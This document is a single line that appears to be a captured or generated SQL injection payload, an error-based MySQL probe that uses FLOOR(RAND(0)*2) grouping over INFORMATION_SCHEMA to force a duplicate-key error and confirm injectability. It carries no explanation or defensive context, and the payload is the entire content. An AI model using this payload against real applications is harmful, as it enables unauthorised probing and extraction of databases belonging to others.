atestu\' AND (SELECT 4793 FROM(SELECT COUNT(*),CONCAT(\'sD0wQq7I\',(SELECT (CASE WHEN (4793=4793) THEN 1 ELSE 0 END)),\'sD0wQq7I\',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND \'sD0wQq7I\'=\'sD0wQq7I